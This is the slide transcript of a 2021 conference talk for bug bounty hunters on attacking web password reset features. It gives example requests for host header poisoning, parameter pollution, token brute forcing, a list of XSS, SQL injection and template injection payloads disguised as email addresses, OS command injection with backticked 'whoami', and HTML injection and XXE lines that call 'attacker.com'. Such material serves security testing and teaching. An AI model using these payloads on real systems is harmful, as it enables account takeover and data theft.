Share
Embed
Playing With Password Reset Functionality
Talk was part of GrabCon 2021 where I presented how a single functionality like password reset can become a big attack vector for bugbounty hunters and pentesters. Multiple attack scenarios are described in this talk.
Video: https://youtu.be/JTrXOS8N9W0?t=1940
Anugrah SR
September 02, 2021
Transcript
35 slides
-
ANUGRAH S R Cyber Security Analyst at UST Passive bugbounty
Hunter Synack Red Team member Connect with me Twitter: @cyph3r_asr | LinkedIn: anugrah-sr | Web: anugrahsr.tech Blog: p1boom.com -
LOOKING FOR BUGS? Bug Type Functionality Wise XSS SQL Injection
SSRF File Upload Functionality Sign In Function Multiple Factor Authentication -
WHAT IS PASSWORD RESET? If a Web-app have a login,
there be a password reset function! In order to implement a proper user management system, systems integrate a Forgot Password service that allows the user to request a password reset. -
WHAT IF? Let's look at the impact FULL ACCOUNT TAKEOVER
TOKEN LEAKAGE PARAMETER POLLUTION SQL INJECTION GUESSABLE TOKEN MORE.. -
PASSWORD RESET POISONING If you have a Host Header attack,
Request a password with evil host! Websites that handle the value of the Host header in an unsafe way POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: evilhost.com -
POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com:@evilhost.com POST
https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com X-Forwarded-Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com Host: attacker.com POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: [email protected] Lab: https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning -
ATO: PARAMETER MANIPULATION We can pollute the parameter to get
the reset token to attacker email POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected]&[email protected] POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: example.com [email protected] -
RESPONSE MANIPULATION Replace Bad Response With Good One HTTP/1.1 401
Unauthorized (“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”) HTTP/1.1 200 OK (“message”:”success”,”statusCode:200,”errorDescription”:”Success”) -
TOKEN LEAKAGE IN RESPONSE Check the response to see if
the token is leaked in response #Tip: Search the token in burp suite search Add json extension to endpoint, eg: resetpassword.json HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: length { "email" : "[email protected]" , "token" : ****** } -
RESET TOKEN LEAK VIA REFERER Once you visit the reset
token link, click on any third party website eg Facebook Intercept the requst and check the referer header GET /home HTTP/1.1 Host: www.third_party.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://company.com/resetpass?token=123-456-123-456 Origin: https://www.company.com -
GUESSABLE TOKEN Find out how password reset token is generated
like Timestamp , UserID , Email and Weak Cryptography POST /resetPassword HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number [email protected]&token=<UserID-Timestamp> -
BRUTE FORCE THE TOKEN Find out how password reset token
by force! Use IP-Rotate, additional headers etc POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number [email protected]&token=FUZZ&newpass=DontHackme! -
IDN HOMOGRAPH ATTACK Create an account with email [email protected] Now
generate reset password link for email test@gmáil.com.burpcollaborator.net POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@gmáil.com.id.burpcollaborator.net -
LIST OF PAYLOADS AS EMAIL ADDRESSES test+(<script>alert(0)</script>)@gmail.com test(<script>alert(0)</script>)@gmail.com test@gmail(<script>alert(0)</script>).com "<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com test+(${{7*7}})@gmail.com "' OR 1=1 -- '"@gmail.com "test); DROP TABLE users;--"@gmail.com test@[id.collaborator.net] %@gmail.com -
XSS Test for XSS with [email protected]"><script>alert(document.domain)</script> payload GET /[email protected]"><script>alert(document.domain)</script> HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Referer: https://previous.com/path Origin: https://www.company.com -
GET /[email protected]'%2b(select*from(select(sleep(20)))a)%2b' HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0, sunil Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path Origin: https://www.company.com TIME BASED SQL INJECTION -
OS COMMAND INJECTION Reset password with email test@`whoami`.id.burpcollaborator.net POST /passwordreset
HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number email=test@`whoami`.id.collaborator.net -
HTML INJECTION IN MAIL Find out for other parameters by
using Param-miner Look if any parameter is reflected in received email, test for html injection or text injection. POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]¶meter=<img src=\"http://attacker.com/?id= -
IDOR Test with your reset token and victim's email id/User-Id.
POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]&token=<Your-Token> POST /passwordreset HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: Number [email protected]&token=<Your-Token> -
XXE If password reset endpoint supports both json and xml
Use Content Type Converter extension to change from json to xml, add your payload POST /resetPassword/change HTTP/1.1 Host: www.company.com Content-Type: application/xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE a [<!ENTITY % asd SYSTEM "http://attacker.com/XXE.dld">%asd;%c;]> <root>%rrr;<old>*****</old><new>*****</new></root> -
MFA AUTO DISABLING Sometimes MFA are auto-disabled after Password reset
is done Enable 2FA Logout Password Reset 2FA is auto disabled -
SESSION EXPIRATION Test for insufficient session expiration after password change
Open account in two different browsers In browser1 reset the password See if the session is expired in browser2 -
USER ENUMERATION Enumerate username/email id based on difference in response
by the webapp invalid email/username : user doesn't exist valid email/username: Password reset link is send to your email -
MISSING RATELIMITING Email bombing! send the password reset request to
intruder start the attack Look at the choas you created in victim's email account Tip: [email protected] -
RE USABLE TOEKN Check if the token can be reused,
if it's expired. Request password reset Dont use the link change the email address to a new email in account settings See if old token can be used -
RESOURCES 10 Password Reset Flaws Anugrah SR Blog ATO Password
Reset Mahmoud M. Awali Slides Common Vulnerabilities In Forget Password Harsh Bothra MindMap